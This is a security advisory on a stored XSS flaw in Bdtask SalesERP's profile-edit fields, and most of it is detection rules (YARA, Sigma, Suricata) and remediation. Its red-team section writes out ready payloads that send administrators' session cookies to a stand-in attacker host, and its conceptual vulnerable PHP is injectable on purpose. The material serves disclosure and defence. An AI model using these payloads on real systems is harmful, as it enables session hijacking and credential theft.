CVE-2025-13178

Executive Summary

CVE-2025-13178 is a stored Cross-Site Scripting (XSS) vulnerability in Bdtask SalesERP, a commercial ERP solution sold on CodeCanyon. The flaw resides in the /edit_profile endpoint, specifically within the first_name and last_name parameters of the User Profile Handler. An authenticated attacker with low privileges can inject arbitrary JavaScript code into these fields. When an administrator or other user views the attacker's profile, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or unauthorized actions.

The vulnerability has a CVSS v3.1 base score of 3.5 (Low), but the public availability of a proof-of-concept exploit and the vendor's lack of response elevate the real-world risk. No official patch exists, and the vendor (Bdtask) has not acknowledged the disclosure. This report provides actionable detection and mitigation guidance for defenders.

Supply Chain & Package Security

This is a commercial PHP application distributed via CodeCanyon. It is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the integrity of the CodeCanyon download and any third-party libraries bundled with SalesERP. Users should verify file hashes provided by CodeCanyon and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

Threat Level: Medium (due to public exploit and no patch)

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The application fails to sanitize or encode user-supplied input in the first_name and last_name fields before storing it in the database and later rendering it on profile pages.

Attack Flow:

1. An attacker authenticates to SalesERP with a low-privilege account.
2. The attacker navigates to /edit_profile and submits a POST request with malicious JavaScript in the first_name or last_name parameter.
3. The server stores the unsanitized payload in the database.
4. When an administrator or any other user views the attacker's profile (e.g., via /user_profile?id=<attacker_id>), the stored payload is rendered in the HTML without proper encoding.
5. The victim's browser executes the injected script, which can steal session cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: Lack of output encoding and input validation on user-controlled fields that are displayed in a web context.

Vulnerable vs. Patched Code

Since no patch exists, the vulnerable code is presumed to be in the profile update handler and the profile view template.

Vulnerable Code (Conceptual PHP):

// In profile update handler (e.g., update_profile.php)
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
// Directly stored without sanitization
$db->query("UPDATE users SET first_name='$first_name', last_name='$last_name' WHERE id=$user_id");

// In profile view template (e.g., profile.php)
echo "<h1>Welcome, " . $user['first_name'] . " " . $user['last_name'] . "</h1>";

Patched Code (Conceptual):

// In profile update handler
$first_name = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
$last_name = htmlspecialchars($_POST['last_name'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("UPDATE users SET first_name=?, last_name=? WHERE id=?");
$stmt->bind_param("ssi", $first_name, $last_name, $user_id);
$stmt->execute();

// In profile view template
echo "<h1>Welcome, " . htmlspecialchars($user['first_name'], ENT_QUOTES, 'UTF-8') . " " . htmlspecialchars($user['last_name'], ENT_QUOTES, 'UTF-8') . "</h1>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid low-privilege user account on SalesERP.
• Network access to the SalesERP web interface.

Exploit Payload (Example):

<script>alert(document.cookie)</script>

Step-by-Step Exploitation:

1. Log in to SalesERP as a low-privilege user.
2. Navigate to /edit_profile.
3. Intercept the POST request using a proxy like Burp Suite.
4. Modify the first_name or last_name parameter to contain a malicious payload:

   POST /edit_profile HTTP/1.1
   Host: target-saleserp.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: PHPSESSID=attacker_session
   
   first_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&last_name=Smith&submit=1
   

5. Submit the request.
6. Wait for an administrator to view the attacker's profile (e.g., via the user management interface).
7. The administrator's browser executes the script, sending their session cookie to the attacker's server.

Advanced Payload (Session Hijacking):

var img = new Image();
img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);

Blue Team

Detection:

• Monitor web application logs for suspicious first_name or last_name values containing <script>, onerror, javascript:, or other HTML/JavaScript constructs.
• Use WAF rules to block requests with XSS patterns in these parameters.
• Deploy the detection rules provided in the Detection Engineering section.

Hunting:

• Search the database for stored XSS payloads in the users table:

  SELECT id, first_name, last_name FROM users WHERE first_name LIKE '%<script%' OR last_name LIKE '%<script%';
  

• Review HTTP access logs for requests to /edit_profile with unusual parameter lengths or content.

Containment:

• If a payload is found, immediately disable the affected user account.
• Manually sanitize the first_name and last_name fields in the database using an UPDATE query with htmlspecialchars().
• Rotate all active session cookies and force re-authentication for all users.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?cookie=...).
• Unusual Referer headers pointing to /edit_profile or /user_profile.

Host IOCs:

• Database entries in the users table where first_name or last_name contain HTML tags or JavaScript code.
• Web server log entries showing POST requests to /edit_profile with first_name or last_name parameters containing <script> or similar patterns.

File IOCs:

• Modified or suspicious files in the SalesERP installation directory (e.g., update_profile.php, profile.php).

Detection Engineering

YARA Rule

rule CVE_2025_13178_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2025-13178 in SalesERP"
        author = "Valters IT"
        date = "2025-07-28"
        reference = "CVE-2025-13178"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-13178 - Stored XSS in SalesERP User Profile
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /edit_profile with XSS payloads in first_name or last_name
author: Valters IT
date: 2025-07-28
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /edit_profile
    keywords:
        - 'first_name='
        - 'last_name='
    xss_patterns:
        - '*<script*'
        - '*onerror*'
        - '*javascript:*'
    condition: selection and xss_patterns
falsepositives:
    - Legitimate use of HTML in names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13178 - Stored XSS in SalesERP User Profile"; flow:to_server,established; content:"POST"; http_method; content:"/edit_profile"; http_uri; pcre:"/(first_name|last_name)=.*(<script|onerror|javascript)/iU"; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement server-side validation to reject any input containing HTML tags or JavaScript in the first_name and last_name fields.
2. Output Encoding: Apply htmlspecialchars() (or equivalent) to all user-controlled data before rendering it in HTML.
3. Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS even if a payload is injected:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Web Application Firewall (WAF): Create custom rules to block XSS patterns in the first_name and last_name parameters.

Long-Term Fixes:

• Vendor Patch: Since the vendor is unresponsive, consider forking the application or applying the conceptual patch shown in the "Vulnerable vs. Patched Code" section.
• Code Audit: Conduct a full security audit of all user input handling in SalesERP.
• Upgrade: If a patched version becomes available, upgrade immediately.

Workarounds:

• Disable the profile editing feature for non-admin users if business requirements allow.
• Implement a manual review process for profile changes.

Valters IT